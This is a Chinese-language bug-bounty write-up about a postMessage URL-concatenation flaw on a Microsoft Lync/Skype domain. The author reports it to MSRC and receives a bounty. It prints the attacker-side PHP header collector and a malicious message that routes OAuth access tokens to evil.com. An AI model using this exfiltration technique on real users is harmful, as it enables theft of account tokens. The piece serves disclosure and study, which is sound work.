作者:隱形人真忙

0x00 前言

在使用outlook的過程中,我意外發現了一個URL:https://webdir.xxx.lync.com/xframe 。并在這個頁面中發現了一處監聽message時間的監聽器。

通過閱讀代碼,發現過程如下:

(1)接受外界的message,抽取出URL,type(類似于command指令),以及一些data、header等。

(2)用這個message中的信息組建一個request對象,并調用了sendRequest方法發送請求。

(3)這些還不夠,居然還將http響應體通過postMessage(data, "*")發送了出來。

因此,我們可以發送一個惡意的message,并且拿到這個域下請求的返回體,是不是一種“跨域http請求”呢?

于是興奮地去報告給MSRC,結果等了將近一周,被告知,這個webdir.online.lync.com域下是一個公用的域,之所以這樣設計是因為任何人都可以訪問,于是MSRC說這鍋他們那邊的產品線不想背,給我一周的時間去證明可以獲取敏感數據,否則就要關閉這個issue。

但是直覺告訴我,這個功能并不是針對所有用戶的,沒人會從一個毫無關系的微軟的域里面發送請求并獲取html頁面,即使有接口是開放給開發者的,也不會用到這么曲折的前端交互,因此我打算深入研究一下。

0x01 深入探索

很多時候,挖不到洞的原因就是沒有深入研究,因此這次準備仔細分析一下業務邏輯,尋找問題。

Google搜索了一下這個域名,原來是一個skype的API所在域,但是從Outlook里面看這些API的行為,必須要header帶上Access Token才能過認證,比如這樣:

因此,產品線的要求是有其道理的,如果不帶上這個header去訪問該域下的任何path,實際上都是401或者403錯誤,因此僅僅提交之前的報告是不可能拿到bounty的。

再去看outlook中交互的Network信息,發現這個Access Token是用OAuth2認證下發的,這跟之前某廠的開放OAuth漏洞的場景有些相似,即access token通過一個三方域postMessage出來,從以往的經驗來看這種實現基本都會有些問題。

那么問題來了————如何竊取一個域ajax請求中攜帶的某個header信息?由于SOP策略的限制,這幾乎是不可能的。

繼續看代碼,發現了一句話:

if (!isTrusted(request.url))

request.url = (location.origin || location.protocol + '//' + location.hostname + (location.port ? ':' + location.port : '')) + extractUrlPath(request.url);

如果發現請求的url不是信任域,那么要拼接成信任域的path。request.url是從message中獲取的,因此我們是可控的,注意,這里拼接URL的時候,hostname后面并沒有用"/"進行限制,那么我們可以利用@進行跳轉,提交“@evil.com/exploitcat/test.php”,request.url就變成了:

https://webdir.online.lync.com@evil.com/exploitcat/test.php . 這里在ajax請求的時候實際上就跳轉到evil.com這個域上去。

但我們都知道,A域下的ajax去請求B域的內容,雖然是一種跨域的ajax請求,但是請求是可以發出去的,在Chrome下是使用OPTIONS方法去請求一次,因此并不能獲取response的內容,因為畢竟有同源策略限制,這個好理解。但是能否在這次OPTIONS請求中帶上自定義的一些header呢?經過測試并不可行。

其實用CORS去跨域即可,因為我想從lync.com發出的鏈接中獲取這個攜帶access token的header信息,跳轉的PHP文件就負責收集這個header。如何讓A域請求到不同域的內容,設置CORS為*就行了。

但是這里遇到一個坑,如果A域攜帶了自定義的header,就會報錯:

報錯信息為:

XMLHttpRequest cannot load https://evil.com/exploitcat/test.php. Request header field X-Ms-Origin is not allowed by Access-Control-Allow-Headers in
 preflight response.

加上Access-Control-Allow-Headers這個頭即可,這個頭表示服務器接受客戶端自定義的headers。將所有A域定義的自定義header加入到這個header字段里即可。

所以test.php的內容為:

<?php

header("Access-Control-Allow-Origin: *") ;

header("Access-Control-Allow-Headers: Authorization, X-Ms-Origin, Origin, No-Cache, X-Requested-With, If-Modified-Since, Pragma, Last-Modified, Cache-Control, Expires, Content-Type, X-E4M-With")
 ;

ini_set('display_errors','On');

file_put_contents('/tmp/res.txt', print_r(getallheaders(),1)) ;

?>

該文件用于獲取請求的所有header并保存在/tmp/res.txt中。

攻擊過程大致如下:

(1)在攻擊者控制的頁面中創建一個iframe,src設置為https://login.windows.net/common/oauth2/authorize?xxxxxxxxx , 讓用戶去訪問。在用戶登錄態下,這個OAuth2.0認證過程成功,并將access token發送到這個URL:https://webdir.online.lync.com#accesstoken=xxxxxxxxxxxx .

(2)當iframe加載完成后,變成了https://webdir.online.lync.com#accesstoken=xxxxxxxxxxxx ,我們開始發送惡意的message,大致如下:

data = {"data": "", "type": "GET:22", "url": "@evil.com/exploitcat/test.php"} ;

根據前面的分析,由于不正確的URL拼接,sendRequest將攜帶著包含access token的header發送到https://webdir.online.lync.com@evil.com/exploitcat/test.php 上面,實際跳轉到了https://evil.com/exploitcat/test.php 上。

(3)瀏覽器帶著這個敏感的token發送到了test.php上,我們就收到了這個token。

0x02 Timeline

03-01 - 報告給MSRC
03-09 - MSRC反饋原有報告需要繼續深入,要求要拿到敏感數據
03-09 - 重新提交了報告
03-11 - MSRC反饋其產品線已復現問題,正在修復
05-03 - 收到bounty $5500


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/294/